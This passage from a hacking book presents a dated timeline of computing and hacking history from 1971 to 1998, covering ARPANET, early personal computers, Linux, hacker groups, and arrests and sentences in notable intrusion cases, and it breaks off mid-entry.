5287[1971] First e-mail program written by Ray Tomlinson and used on ARPANET which now has 64 nodes. Tomlinson of
5288Bolt Beranek and Newman, contracted by the Advanced Research Projects Agency (ARPA) to create the ARPANET ,
5289selects the @ symbol to separate user names in e-mail as the first e-mail messages are sent between computers.
5290[1972 May] John Draper arrested for phone phreaking and sentenced to four months in California's Lompoc prison.
5291[1973] Intel ’ s chairman, Gordon Moore, publicly reveals the prophecy that the number of transistors on a microchip will
5292double every year and a half. Moore ’s Law will hold true for more than twenty years.
5293[1975] About 13,000 cash dispensing Automatic Teller Machines (ATM) are installed.
5294[1975] Atari, Inc. ’s home version of PONG begins selling at 900 Sears and Roebuck stores under the Sears ’
5295Telegames brand.
5296[1975 Aug] William Henry Gates, III (Bill Gates) and Paul Allen found Microsoft .
5297[1976] David R. Boggs and Robert M. Metcalfe invent Ethernet at Xerox in Palo Alto, California.
5298[1976 Apr] Stephen Wozniak, Steven Paul Jobs and Ron Wayne sign an agreement that founds Apple Computer on April
52991.
5300[1977 Aug 3] The TRS- 80 ('Trash- 80') Model I offered to the public and becomes the first desktop computer.
5301[1977 Dec] The Atari 2600 is selling for $199.95 and includes one game and two controllers.
5302[1978] Bill Joy produces first Berkeley Software Distribution (BSD) of UNIX.
5303[1978] There are an estimated 5,000 desktop computers in use within the United States.
5304[1978] Kevin David Mitnick ('Condor') meets phone phreak Lewis De Payne ('Roscoe') of Roscoe gang while harassing a
5305HAM radio operator on the air in Southern California.
5306[1979] The C Programming Language by Brian W. Kernighan and Dennis M. Ritchie is published.
5307[1979 Jun] The Apple II+ with 48K RAM and a new “auto- start” ROM is introduced by Apple Computer for $1,195.
53081980s
5309[1980] There is an estimated 350,000 computer terminals "networked" with larger "host" computers.
5310[1980] Nintendo, Ltd. releases Donkey Kong as a coin-operated arcade game.
5311Hacking For Beginners – Manthan Desai 2010
5312w w w . h a c k i n g t e c h . c o . t v
5313Page 239
5314[1980] Usenet is born, networking UNIX machines over slow phone lines. Usenet eventually overruns ARPANET as the
5315virtual bulletin board of choice for the emerging hacker nation.
5316[1980 Dec] Roscoe Gang, including Kevin Mitnick , invade computer system at US Leasing.
5317[1981] Kenji Urada, 37, becomes the first reported death caused by a robot. A self-propelled robotic cart crushed him as
5318he was trying to repair it in a Japanese factory. :-)
5319[1981] Commodore Business Machines starts shipping the VIC- 20 home computer. It features a 6502 microprocessor, 8
5320colors and a 61-key keyboard. Screen columns are limited to 22 characters. The product is manufactured in West
5321Germany and sells in the U.S. for just under $300.
5322[1981 Jul] Microsoft acquires complete rights to Seattle Computer Product ’ s DOS and names itMS-DOS.
5323[1981] Ian Murphy ('Captain Zap') was the first hacker to be tried and convicted as a felon. Murphy broke intoAT&T's
5324computers and changed the internal clocks that metered billing rates. People were getting late-night discount rates when
5325they called at midday.
5326[1981 May 23] Kevin Mitnick, 17, is arrested for stealing computer manuals from Pacific Bell's switching center in Los
5327Angeles, California. He will be prosecuted as a juvenile and sentenced to probation.
5328[1981 May 28] First mention of Microsoft on Usenet.
5329[1982] There are an estimated 3 million computer terminals "networked" with larger "host" computers. Also, there are an
5330estimated number of 5 million desktop computers in use within the United States. More than 100 companies make
5331personal computers.
5332[1982] Sun Microsystems , Inc. is founded by four 27-year-old men; Andreas von Bechtolsheim, Vinod Khosla, Scott
5333McNealy and Bill Joy.
5334[1982] As hacker culture begins to erode, losing some of its brightest minds to commercial PC and software start-ups,
5335Richard Stallman starts to develop a free clone of UNIX, written in C, that he calls GNU (for Gnu's Not Unix).
5336[1982] Lewis De Payne ('Roscoe') pleas guilty to conspiracy and fraud. Sentence: 150 days in jail. Accomplice gets
5337thirty. Mitnick gets ninety day diagnostic study by juvenile justice system, plus a year probation.
5338[1982] Kevin Mitnick cracks Pacific Telephone system and TRW; destroys data.
5339[1982] William Gibson coins term "cyberspace."
5340[1982] '414 Gang' phreakers raided. '414 Private' BBS was where the '414 Gang' would exchange information while
5341breaking into systems of Sloan- Kettering Cancer Center and Los Alamos military computers.
5342[1982 Aug] Commodore ships the Commodore 64 computer and enters more than one million homes during this first
5343year. The C-64 was the first home computer with a standard 64K RAM. With an suggested retail price of $595, it was
5344considered a huge value. It included a keyboard, CPU, graphics and sound chips.
5345[1982 Sep 19] Scott E. Fahlman typed the first on- line smiley, :-)
5346[1983] The Internet is formed when ARPANET is split into military and civilian sections.
5347[1983] The movie WarGames is released, Matthew Broderick plays a computer whiz kid who inadvertently initiates the
5348countdown to World War III.
5349[1983] Plovernet BBS (Bulletin Board System) was a powerful East Coast pirate board that operated in both New York
5350and Florida. Owned and operated by teenage hacker 'Quasi Moto', Plovernet attracted five hundred eager users in 1983.
5351Hacking For Beginners – Manthan Desai 2010
5352w w w . h a c k i n g t e c h . c o . t v
5353Page 240
5354Eric Corley ('Emmanuel Goldstein') was one- time co-sysop of Plovernet, along with 'Lex Luthor', who would later found
5355the phreaker/hacker group, Legion of Doom.
5356[1983 Sep 22] Kevin Poulsen ('Dark Dante') and Ron Austin are arrested for breaking into the ARPANET . At 17 Poulsen
5357is not prosecuted and Austin receives 3 years probation.
5358[1983 Sep 27] Richard Stallman makes the first Usenet announcement about GNU.
5359[1983 Nov 12] First mention of Microsoft Windows on Usenet.
5360[1984] Andrew Tanenbaum writes the first version of Minix, a UNIX intended for educational purposes. Minix later gave
5361Linus Torvalds the inspiration to start writing Linux .
5362[1984] The University of California at Berkeley released version 4.2BSD which included a complete implementation of
5363the TCP/IP networking protocols. Systems based on this and later BSD releases provided a multi-vendor networking
5364capability based on Ethernet networking.
5365[1984] Bill Landreth ('The Cracker') is convicted of breaking into some of the most secure computer systems in the
5366United States, including GTE Telemail's electronic mail network, where he peeped at NASA Department of Defense
5367computer correspondence. In 1987 Bill violated his probation and was back in jail finishing his sentence. Bill also
5368authored an interesting read titled 'Out of the Inner Circle'.
5369[1984] Legion of Doom formed. Legion of Doom, a hacker group which operated in the United States in the late 1980's.
5370The group's wide ranging activities included diversion of telephone networks, copying proprietary information from
5371companies and distributing hacking tutorials. Members included: 'Lex Luther' (founder), Chris Goggans ('Erik Bloodaxe'),
5372Mark Abene ('Phiber Optik'), Adam Grant ('The Urvile'), Franklin Darden ('The Leftist'), Robert Riggs ('The Prophet'),
5373Loyd Blankenship ('The Mentor'), Todd Lawrence ('The Marauder), Scott Chasin ('Doc Holiday'), Bruce Fancher ('Death
5374Lord'), Patrick K. Kroupa ('Lord Digital'), James Salsman ('Karl Marx'), Steven G. Steinberg ('Frank Drake'), Corey A.
5375Lindsly ('Mark Tabas'), 'Agrajag The Prolonged', 'King Blotto', 'Blue Archer', 'The Dragyn', 'Unknown Soldier', 'Sharp
5376Razor', 'Doctor Who', 'Paul Muad'Dib', 'Phucked Agent 04', 'X-man', 'Randy Smith', 'Steve Dahl, 'The Warlock', 'Terminal
5377Man', 'Silver Spy', 'The Videosmith', 'Kerrang Khan', 'Gary Seven', 'Bill From RNOC', 'Carrier Culprit', 'Master of Impact',
5378'Phantom Phreaker', 'Doom Prophet', 'Thomas Covenant', 'Phase Jitter', 'Prime Suspect', 'Skinny Puppy' and 'Professor
5379Falken'.
5380[1984] 2600: The Hacker Quarterly founded by Eric Corley ('Emmanuel Goldstein').
5381[1984 Jun 19] The X Window System is released by Robert W. Scheifler.
5382[1985] Hacker 'zine Phrack is first published by Craig Neidorf ('Knight Lightning') and Randy Tischler ('Taran King').
5383[1985 May 24] Date of incorporation under original founding name, Quantum Computer Services (America Online).
5384[1986] The Congress passes Computer Fraud and Abuse Act. The law, however, does not cover juveniles.
5385[1986] The german hacker group, Chaos Computer Club, hacked information about the german Nuclear Power Program
5386from government computers during the Chernobyl crisis.
5387[1986 Jan 8] Legion of Doom/H member Loyd Blankenship ('The Mentor') is arrested around this time. He publishes a
5388now- famous treatise that comes to be known as the Hacker's Manifesto.
5389[1986 Feb 26] The Phoenix Fortress BBS issues warrants for the arrest and confiscation of the equpment of 7 local
5390users in Fremont, CA. The Sysop turns out to be a local law enforcement agent and the Phoenix Fortress created to
5391catch hackers and software pirates.
5392[1986 Sep 1] An unknown suspect or group of suspects using the code name Pink Floyd repeatedly accessed the UNIX
5393and Portia computer systems at Stanford University without authorization. Damage was estimated at $10,000.
5394Hacking For Beginners – Manthan Desai 2010
5395w w w . h a c k i n g t e c h . c o . t v
5396Page 241
5397[1986 Aug] In August, while following up a 75 cent accounting error in the computer logs at the Lawrence Berkeley Lab
5398at the University of California, Berkeley, network manager Clifford Stoll uncovers evidence of hackers at work. A yearlong
5399investigation results in the arrest of the five german hackers responsible.
5400[1987 Sep 14] It's disclosed publicly that young german computer hackers calling themselves the Data Travellers,
5401managed to break into NASA network computers and other world-wide top secret computer installations.
5402[1987 Nov 23] Chaos Computer Club hacks NASA's SPAN network.
5403[1987 Dec] Kevin Mitnick invades systems at Santa Cruz Operation. Mitnick sentenced to probabtion for stealing
5404software from SCO, after he cooperates by telling SCO engineers how he got into their systems.
5405[1988 Jun] The U.S. Secret Service (USSS) secretly videotapes the SummerCon hacker convention.
5406[1988 Nov 2] Robert T. Morris, Jr., a graduate student at Cornell University and son of a chief scientist at a division of the
5407National Security Agency (NSA), launches a self- replicating worm on the government's ARPANET (precursor to the
5408Internet) to test its effect on UNIX systems. The worm gets out of hand and spreads to some 6,000 networked
5409computers, clogging government and university systems. Morris is dismissed from Cornell, sentenced to three years
5410probation and fined $10,000.
5411[1988 Nov 3] First mention of the Morris worm on Usenet.
5412[1988 Dec] Legion of Doom hacker Robert Riggs ('The Prophet') cracks BellSouth AIMSX computer network and
5413downloads E911 document (describes how the 911 emergency phone system works). Riggs sends a copy toPhrack
5414editor Craig Neidorf ('Knight Lightning'). Both Craig and Robert are raided by Federal authorities and later indicted. The
5415indictment said the "computerized text file" was worth $79,449, and a BellSouth security official testified at trial it was
5416worth $24,639. The trial began on July 23, 1990 but the proceedings unexpectedly ended when the government asked
5417the court to dismiss all the charges when it was discovered that the public could call a toll- free number and purchase the
5418same E911 document for less than $20.
5419[1988 Dec 16] 25-year-old computer hacker Kevin Mitnick is held without bail on charges that include stealing $1 million
5420in software from DEC (Digital Equipment Corporation), including VMS source code, and causing that firm $4 million in
5421damages.
5422[1989] 22-year-old computer hacker and ex-LOD member Corey Lindsly ('Mark Tabas') pleaded guilty to felony charges
5423relating to using a computer to access US West's system illegally, which resulted in five years probation. [see also 1995
5424Feb. 'Phonemasters']
5425[1989] At the Cern laboratory for research in high-energy physics in Geneva, Tim Berners- Lee and Robert Cailliau
5426develop the protocols that will become the world wide web.
5427[1989 Jan 23] Herbert Zinn ('Shadowhawk'), a high school dropout, was the first to be convicted (as a juvenile) under the
5428Computer Fraud and Abuse Act of 1986. Zinn was 16 when he managed to break into AT&T and Department of Defense
5429systems. He was convicted on January 23, 1989, of destroying $174,000 worth of files, copying programs valued at
5430millions of dollars, and publishing passwords and instructions on how to violate computer security systems. Zinn was
5431sentenced to nine months in prison and fined $10,000.
5432[1989 May] A task force in Chicago raids and arrests an alleged computer hacker known as 'Kyrie'.
5433[1989 Jun] An underground group of hackers known as the NuPrometheus League distributes proprietary software
5434illegally obtained from Apple Computer .
5435[1989 Jul 21] Known as the "Atlanta Three" case, 3 members of the LOD/H (Legion of Doom) where charged with hacking
5436into Bell South's Telephone (including 911) Networks - possessing proprietary BellSouth software and Information,
5437unauthorized intrusion, illegal possession of phone credit card numbers with intent to defraud, and Conspiracy. The three
5438hackers where: Franklin Darden ('The Leftist'), Adam Grant ('The Urvile' and 'Necron 99'), Robert Riggs ('The Prophet').
5439Hacking For Beginners – Manthan Desai 2010
5440w w w . h a c k i n g t e c h . c o . t v
5441Page 242
5442[1989 Jun 22] 'Fry Guy', a 16-year-old in Elmwood, Indiana cracks into McDonald's mainframe on the Sprint Telenet
5443system. One act involved the young hacker altering phone switches so that calls to a Florida county probation
5444department would ring at a New York phone- sex line answered by "Tina." On September 14 1990, he was sentenced to
5445forty- four months probation and four hundred hours community service.
54461990s
5447[1990] Electronic Frontier Foundation is formed by Mitch Kapor and John Perry Barlow in part to defend the rights of
5448those investigated for alleged computer hacking.
5449[1990] Kevin Poulsen's now- infamous incident with KIIS-FM in Los Angeles. In 1990 the station ran the "Win a Porsche
5450by Friday" contest, with a $50,000 Porsche given to the 102nd caller. Kevin and his associates, stationed at their
5451computers, seized control of the station's 25 telephone lines, blocking out all calls but their own. Then he dialed the
5452102nd call -- and later collected his Porsche 944.
5453[1990 Jan 15] AT&T's long-distance telephone switching system crashed. During the nine long hours of frantic effort that
5454it took to restore service, some seventy million telephone calls went uncompleted. Hackers where first suspected of
5455causing the crash but later AT&T engineers discovered the "culprit" was a bug in AT&T's own software.
5456[1990 Jan 18] Chicago task force raids an alleged computer hacker Craig Neidorf ('Knight Lightning') in St. Louis.
5457[1990 Feb] U.S. Secret Service raid an alleged computer hacker Len Rose ('Terminus') in Maryland. Len somehow got
5458his hands on System V 3.2 AT&T Unix Source Code, including the source login.c
5459[1990 Feb 21] Chicago Task Force raids the home of Robert Izenberg, an alleged computer hacker in Austin.
5460[1990 Mar 1] Chicago task force raids Steve Jackson Games, Inc. Reportedly, workers Loyd Blankenship ('The Mentor') and
5461Chris Goggans ('Erik Bloodaxe'), had ties to a hacker group (LOD) that the Justice Department was investigating.
5462Finding a rulebook to a game called G.U.R.P.S. CYBERPUNK , raiders interpreted the findings as a tutorial on computer
5463hacking and proceeded to seize equipment and documents found at the site. Steve Jackson Games, Inc. prevailed in an
5464ensuing legal battle, however their equipment was never returned in its entirety.
5465[1990 May 7] May 7 through Wednesday, May 9, the United States Secret Service and the Arizona Organized Crime and
5466Racketeering Bureau implement Operation Sundevil computer hacker raids in Cincinnati, Detroit, Los Angeles, Miami,
5467Newark, Phoenix, Pittsburgh, Richmond, Tucson, San Diego, San Jose and San Francisco.
5468[1990 Mar 7] A 24 year-old Denver man, Richard G. Wittman Jr., has admitted breaking into aNASA computer system.
5469In a plea bargain, Wittman plead guilty to a single count of altering information - a password inside a federal computer.
5470[1990 Apr] Between April 1990 and May 1991, computer hackers from the Netherlands penetrated 34DOD sites. At
5471many of the sites, the hackers had access to unclassified, sensitive information on such topics as military personnel- -
5472personnel performance reports, travel information, and personnel reductions; logistics- -descriptions of the type and
5473quantity of equipment being moved; and weapons systems development data.
5474[1990 May] At least four British clearing banks are being blackmailed by a mysterious group of computer hackers who
5475have broken into their central computer systems. The hackers demanded substantial sums of money in return for showing
5476the banks how their systems where penetrated. One computer expert described their level of expertise and knowledge of
5477the clearing bank computer systems as "truly frightening".
5478[1991] The Internet, having been established to link the military and educational institutions banned access to businesses.
5479That ban is lifted this year.
5480[1991] Rumors circulate about the Michelangelo virus, a program expected to crash computers on March 6, 1992, the
5481artist's 517th birthday. Doomsday passes without much incident.
5482[1991 Feb] DOS version of AOL released.
5483Hacking For Beginners – Manthan Desai 2010
5484w w w . h a c k i n g t e c h . c o . t v
5485Page 243
5486[1991 Apr 11] Kevin Poulsen ('Dark Dante') arrested for breaking into Pacific Bell phone systems.
5487[1991 Jul] Justin Petersen ('Agent Steal' and 'Eric Heinz') arrested for breaking into TRW, stealing credit cards.
5488[1991 Aug 6] Tim Berners- Lee's Usenet announcement of the World Wide Web project.
5489[1991 Sep] Justin Petersen released from prison to help FBI track hacker Kevin Mitnick .
5490[1991 Sep 17] Linus Torvalds publicly releases Linux version 0.01. While a computer science student at the University of
5491Helsinki Linus created the Linux operating. Linus originally named his operating system Freax.
5492[1991 Oct 5] Linus Torvalds decides to announce the availability of a free minix- like kernel called Linux on Usenet.
5493[1992] Masters of Deception (MOD) phone phreakers busted via wiretaps.
5494[1992] Morty Rosenfeld convicted after hacking into TRW, stealing credit card numbers and selling credit reports.
5495[1992 Jan 29] Minix creator, Andy Tanenbaum, posts the infamous LINUX is obsolete newsgroup posting on
5496comp.os.minix. Later, Linux creator Linus Torvalds quickly responds to the posting.
5497[1992 Nov] Kevin Mitnick cracks into California Department of Motor Vehicles.
5498[1993 Mar 1] Microsoft releases Windows NT.
5499[1993 Jun] Slackware , by Patrick Volkerding, becomes the first commercial standalone distribution of Linux .
5500[1993 Jul 9] The first Def Con hacking conference takes place in Las Vegas. The conference is meant to be a one- time
5501party to say good- bye to BBSs (now replaced by the Web), but the gathering is so popular it becomes an annual event.
5502[1993 Aug] Justin Petersen arrested for stealing computer access equipment.
5503[1993 Oct 28] Randal Schwartz uses Crack at Intel to crack passwords, later found guilty under an Oregon computer
5504crime law, and sentenced.
5505[1993 Dec] FreeBSD version 1.0 is released.
5506[1994] Red Hat is founded.
5507[1994] Linux 1.0 is released.
5508[1994 Jan 12] Mark Abene ('Phiber Optik') starts his one year sentence. As a founding member of the Masters of
5509Deception , Mark inspired thousands of teenagers around the country to "study" the internal workings of our nation's
5510phone system. A federal judge attempted to "send a message" to other hackers by sentencing Mark to a year in federal
5511prison, but the message got garbled: Hundreds of well-wishers attended a welcome- home party in Mark's honor at a
5512Manhattan Club. Soon after, New York magazine dubbed him one of the city's 100 smartest people. Other MOD
5513members: Elias Ladopoulos ('Acid Phreak'), Paul Stira ('Scorpion'), John Lee ('Corrupt'), Allen Wilson ('Wing'), 'The
5514Seeker', 'HAC', 'Red Knight', 'Lord Micro' and Julio Fernandez ('Outlaw').
5515[1994 Mar 23] 16-year-old music student Richard Pryce ('Datastream Cowboy') is arrested and charged with breaking
5516into hundreds of computers including those at the Griffiths Air Force base, NASA and the Korean Atomic Research
5517Institute. The Times of London reported that knowing he was about to be arrested, Richard "curled up on the floor and
5518cried." Pryce later pled guilty to 12 hacking offenses and fined $1,800. Later, Matthew Bevan ('Kuji'), mentor to Pryce
5519was finally tracked down and arrested. The charges against Bevan were later dropped and now he works as a computer
5520security consultant.
5521[1994 Jun 13] Vladimir Levin, a 23-year-old, led a Russian hacker group in the first publicly revealed international bank
5522Hacking For Beginners – Manthan Desai 2010
5523w w w . h a c k i n g t e c h . c o . t v
5524Page 244
5525robbery over a network. Stealing around 10 million dollars from Citibank , which claims to have recovered all but
5526$400,000 of the money. Levin was later caught and sentenced to 3 years in prison.
5527[1994 Aug] Justin Petersen electronically steals $150k from Heller Financial.
5528[1994 Sep] Netcom's (bought by MindSpring, MindSpring then bought by Earthlink) credit card database was on- line and
5529accessible to the unauthorized.
5530[1994 Dec 25] Kevin Mitnick (supposedly) cracks into Tsutomu Shimomura's computers. Mitnick was first suspected of
5531hacking into Tsutomu's computers in 1994 but an unknown Israeli hacker (friend to Mitnick) was later suspected. The
5532Israeli hacker was thought to be looking for the Oki cell phone disassembler written by Shimomura and wanted by
5533Mitnick.
5534[1995 Jan 27] Kevin Mitnick cracks into the Well ; puts Shimomura's files and Netcom (bought by MindSpring, MindSpring
5535then bought by Earthlink) credit card numbers there.
5536[1995 Feb] Ex-LOD member, Corey Lindsly ('Mark Tabas') was the major ringleader in a computer hacker organization,
5537known as the 'Phonemasters', whose ultimate goal was to own the telecommunications infrastructure from coasttocoast.
5538The group penetrated the systems of AT&T , British Telecom., GTE, MCI WorldCom, Sprint , Southwestern Bell
5539and systems owned by state and federal governmental agencies, to include the National Crime Information Center
5540(NCIC) computer. They broke into credit- reporting databases belonging to Equifax Inc. and TRW Inc. They entered
5541Nexis/Lexis databases and systems of Dun & Bradstreet . They had access to portions of the national power grid, airtrafficcontrol
5542systems and had hacked their way into a digital cache of unpublished phone numbers at theWhite House .
5543A federal court granted the FBI permission to use the first ever "data tap" to monitor the hacker's activities. These
5544hackers organized their assaults on the computers through teleconferencing and utilized the encryption program PGP to
5545hide the data which they traded with each other. On Sep. 16 1999 Corey Lindsly, age 32, of Portland, Oregon, was
5546sentenced to forty-one months imprisonment and ordered to pay $10,000 to the victim corporations. Other
5547'Phonemasters' members: John Bosanac ('Gatsby') from San Diego, Calvin Cantrell ('Zibby') and Brian Jaynes both
5548located in Dallas, Rudy Lombardi ('Bro') in Canada, Thomas Gurtler in Ohio. Calvin Cantrell, age 30, of Grand Prairie,
5549Texas, was sentenced to two years imprisonment and ordered to pay $10,000 to the victim corporations. John Bosanac
5550got 18 months.
5551[1995 Feb 15] Kevin Mitnick arrested and charged with obtaining unauthorized access to computers belonging to
5552numerous computer software and computer operating systems manufacturers, cellular telephone manufacturers,
5553Internet
5554Service Providers, and educational institutions; and stealing, copying, and misappropriating proprietary computer
5555software from Motorola , Fujitsu , Nokia, Sun , Novell , and NEC. Mitnick was also in possession of 20,000 credit card
5556numbers.
5557[1995 Mar 18] SATAN (Security Administrator Tool for Analyzing Networks) security tool released to the Internet byDan
5558Farmer and Wietse Venema . The release stirs huge debate about security auditing tools being given to the public.
5559[1995 May 5] Chris Lamprecht ('Minor Threat') becomes 1st person banned from Internet. Chris was sentenced for a
5560number of crimes to which he pled guilty. The crimes involved the theft and sale of Southwestern Bell circuit boards. In
5561the early 1990s Chris wrote a program called ToneLoc (Tone Locator), a phone dialing program modeled on the program
5562Matthew Broderick used in the movie WarGames to find open modem lines in telephone exchanges.
5563[1995 Aug 16] French student Damien Doligez cracks 40-bit RC4 encryption. The challenge presented the encrypted
5564data of a Netscape session, using the default exportable mode, 40-bit RC4 encryption. Doligez broke the code in eight
5565days using 112 workstations.
5566[1995 Sep 11] 22-year-old Golle Cushing ('Alpha Bits') arrested for selling credit card and cell phone info.
5567[1995 Sep 17] Ian Goldberg and David Wagner broke the pseudo- random number generator of Netscape Navigator 1.1.
5568They get the session key in a few hours on a single workstation.
5569Hacking For Beginners – Manthan Desai 2010
5570w w w . h a c k i n g t e c h . c o . t v
5571Page 245
5572[1995 Nov 15] On November 15, Christopher Pile becomes the first person to be jailed for writing and distributing a
5573computer virus. Pile, who called himself the 'Black Baron', was sentenced to 18 months in jail.
5574[1996] The internet now has over 16 million hosts and is growing rapidly.
5575[1996] Icanet, a company that designed Internet sites for public schools, was threatened by an extortionist in Germany.
5576The deal: If Icanet agreed to buy his computer security program for $30,000, the hacker would not devastate the
5577company's computers. In April, Andy Hendrata, a 27-year-old Indonesian computer science student in Germany, was
5578convicted of computer sabotage and attempted extortion. He received a one- year suspended sentence and was fined
5579$1,500.
5580[1996] The U.S. General Accounting Office reports that hackers attempted to break into Defense Department computer
5581files some 250,000 times in 1995 alone. About 65 percent of the attempts were successful, according to the report.
5582[1996 Mar 6] United Press International (UPI) reveals that a hacker called 'u4ea' and also known as 'el8ite', 'eliteone',
5583'el8' and 'b1ff' on- line has been threatening to crash systems at the Boston Herald newspaper and several Internet
5584Service providers in the Boston, Massachusetts area. Reports indicate that the hacker may have covertly entered up to
5585100 Internet sites and desytroyed files on many of them. An investigation is initiated by the NYPD Computer Crimes
5586section.
5587[1996 Apr 4] According to prosecutors, 19-year-old Christopher Schanot of St. Louis, Missouri, hacked into national
5588computer networks, military computers, and the TRW and Sprint credit reporting service.
5589[1996 Apr 5] 19-year-old Christopher Schanot ('N00gz') a St. Louis honor student indicted in Philadelphia for computer
5590fraud, illegal wiretapping, unauthorized access to many corporate and government computers includingSouthwestern
5591Bell, BELLCORE, Sprint , and SRI .
5592[1996 Apr 19] Hackers break into the NYPD’ s phone system and change the taped message that greeted callers. The
5593new message said, "officers are too busy eating doughnuts and drinking coffee to answer the phones." It directed callers
5594to dial 119 in an emergency.
5595[1996 Jul 5] First known Excel virus, called Laroux is found.
5596[1996 Jul 31] Tim Lloyd plants software time bomb at Omega Engineering in NJ; First federal computer sabotage case.
5597The software time bomb destroyed the company's computer network and the global manufacturer's ability to
5598manufacture in the summer of 1996. The attack caused the company $12 million in losses and cost 80 employees their
5599jobs. Lloyd received 41 months in jail. He also was ordered to pay more than $2 million in restitution.
5600[1996 Aug 22] Eric Jenott , a Fort Bragg, NC paratrooper is accused of hacking U.S. Army systems and furnishing
5601passwords to a citizen of communist China. Eric's attorney says the Fort Bragg soldier is just a computer hacker who
5602tested the strength of a supposedly impenetrable computer system, found a weakness and then told his superiors about
5603it. Eric was later cleared of the spy charges, but found guilty of damaging government property and computer fraud.
5604[1996 Sep] Johan Helsingius closes penet.fi. Penet.fi, the world's most popular anonymous remailer, was raided by the
5605Finnish police in 1995 after the Church of Scientology complained that a penet.fi customer was posting the church's
5606secrets on the Net. Helsingius closed the remailer after a Finnish court ruled he must reveal the customer's real e-mail
5607address.
5608[1996 Sep 6] DoS attack against Panix.com, a New York- based ISP. An attacker used a single computer to send
5609thousands of copies of a simple message that computers use to start a two-way dialog. The Panix machines receiving
5610the messages had to allocate so much computer capacity to handle the dialogs that they used up their resources and
5611were disabled.
5612[1996 Sep 25] Kevin Mitnick indicted for damaging computers at USC. Mitnick was charged with 14 counts of wire fraud,
5613arising from his alleged theft of proprietary software from manufacturers. The charges also accuse him of damaging
5614USC's computers and "stealing and compiling" numerous electronic files containing passwords.
5615Hacking For Beginners – Manthan Desai 2010
5616w w w . h a c k i n g t e c h . c o . t v
5617Page 246
5618[1997] AOHell is released, a freeware application that allows a burgeoning community of unskilled hackers -- or script
5619kiddies -- to wreak havoc on America Online (AOL).
5620[1997 Jan 28] Ian Goldberg , a University of California-Berkeley graduate student, took on RSA Data Security's challenge
5621and cracked the 40-bit code by linking together 250 idle workstations that allowed him to test 100 billion possible "keys"
5622per hour. In three and a half hours Goldberg had decoded the message, which read, "This is why you should use a
5623longer key."
5624[1997 Feb 5] Members of the Chaos Computer Club, the infamous hacking elite of Germany, demonstrated an ActiveX
5625hacking program that allowed them to access copies of Quicken , the accounting software package from Intuit, and
5626transfer money between bank accounts, without needing to enter the normal password security systems of Quicken.
5627[1997 Mar 10] Hacker named 'Jester' has the first federal charges brought against a juvenile for a computer crime.
5628'Jester' cuts off the FAA tower at Worcester Airport and sentenced to paying restitution to the telephone company and
5629complete 250 hours of community service.
5630[1997 Apr 21] A hacker named 'Joka' managed to trick America Online to briefly shut down a site run by the Texas
5631branch of the Ku Klux Klan, forcing the AOL to act, for security reasons, after it had declined to do so in response to
5632widespread criticism that the site contains offensive material.
5633[1997 May 23] Carlos Felipe Salgado, Jr., 36, who used the on- line name 'Smak', allegedly inserted a sniffer program
5634that gathered the credit information from a dozen companies selling products over the Internet. Carlos gathered 100,000
5635credit card numbers along with enough information to use them, said the FBI.
5636[1997 Jun] Netcom (bought by MindSpring, MindSpring then bought by Earthlink) voice-mail hacked by 'Mr Nobody'. The
563715-year-old intruder claimed he has been inside Netcom's voice-mail for two years. There, he cracked into numerous
5638Mailboxes via his telephone key pad and used the system to break into third-party telephone switches to make longdistance
5639calls.
5640[1997 Oct 31] Eugene Kashpureff arrested for redirecting the NSI web page to his Alternic web site. Kashpureff designed
5641a corruption of the software system that allows Internet- linked computers to communicate with each other. By exploiting
5642a weakness in that software, Kashpureff hijacked Internet users attempting to reach the web site for InterNIC, his chief
5643commercial competitor, to his AlterNIC web site, impeding those users' ability to register web site domain names or to
5644review InterNIC's popular "electronic directory" for existing domain names.
5645[1997 Dec] Julio Ardita ('El Griton') a 21 year old Argentinean was sentenced to a three- year probation for hacking into
5646computer systems belonging to Harvard , NASA , Los Alamos National Laboratory and the Naval Command, Control and
5647Ocean Surveillance Center.
5648[1997 Dec 8] www.yahoo.com is defaced by 'pantz' and 'h4gis'.
5649[1998] Two hackers, Hao Jinglong and Hao Jingwen (twin brothers) are sentenced to death by a court in China for
5650breaking into a bank computer network and stealing 720,000 yuan ($87,000). The Yangzhou Intermediate People ’s
5651Court in eastern Jiangsu province of China rejected an appeal of Hao Jingwen and upholding a death sentence against
5652him. Jingwen and his brother, Hao Jinglong, hacked into the Industrial and Commercial Bank of China computers and
5653shifted 720,000 yuan ($87,000) into accounts they had set up under phoney names. In September of 1998, they
5654withdrew 260,000 yuan ($31,400) of those funds. Hao Jinglong ’s original sentence to death was suspended in return for
5655his testimony.
5656[1998 Jan 1] Mark Abene ('Phiber Optik'), a security expert, launched a command to check a client's password files—and
5657ended up broadcasting the instruction to thousands of computers worldwide. Many of the computers obligingly sent him
5658their password files. Abene explained that the command was the result of a misconfigured system, and that he had no
5659intention of generating a flood of password files into his mailbox.
5660[1998 Jan 16] Tallahassee Freenet hacked. TFN was attacked by a person or persons whose intent was clearly to
5661destroy all of the files on the system. Before the attacks were stopped by bringing the system offline, thousands of user
5662Hacking For Beginners – Manthan Desai 2010
5663w w w . h a c k i n g t e c h . c o . t v
5664Page 247
5665home directories, many system files, and all of the user spool mail had been deleted.
5666[1998 Feb 25] MIT Plasma & Fusion Center (PSFC) and DoD computers hacked by Ehud Tenebaum ('Analyzer'). The
5667MIT computer was running an old version of Linux , the vulnerability which facilitated intrusion. After gaining access to an
5668account, the hackers took advantage of other security holes and installed a packet- sniffer. The hackers were able to
5669collect user names and passwords to computers outside the network.
5670[1998 Feb. 26] Solar Sunrise, a series of attacks targeting Pentagon computers, leads to the establishment of roundtheclock,
5671online guard duty at major military computer sites.
5672[1998 Feb 27] The 56-bit DES- II-1 challenge by RSA Data Security was completed by a massively distributed array of
5673computers coordinating their brute- force attacks via the distributed.net "organization." The cleartext message read,
5674"Many hands make light work." The participants collectively examined 6.3 x 10^16 keys—fully 90 percent of the entire
5675keyspace—in about 40 days.
5676[1998 Mar 3] Santa Rosa Internet Service Provider NetDex rehacked by Ehud Tenebaum ('Analyzer'), in retaliation over
5677the arrest of his two U.S. hacker friends ('Cloverdale Two').
5678[1998 Mar 18] Ehud Tenebaum ('The Analyzer'), an Israeli teen-ager is arrested in Israel. During heightened tensions in
5679the Persian Gulf, hackers touch off a string of break- ins to unclassified Pentagon computers and steal software
5680programs. Officials suspect him of working in concert with American teens to break into Pentagon computers. Then-U.S.
5681Deputy Defense Secretary John Hamre calls it "the most organized and systematic attack" on U.S. military systems to
5682date. An investigation points to two American teens. A 19-year-old Israeli hacker who calls himself 'The Analyzer' (Ehud
5683Tenebaum) is eventually identified as their ringleader and arrested. Israeli Prime Minister Benjamin Netanyahu calls
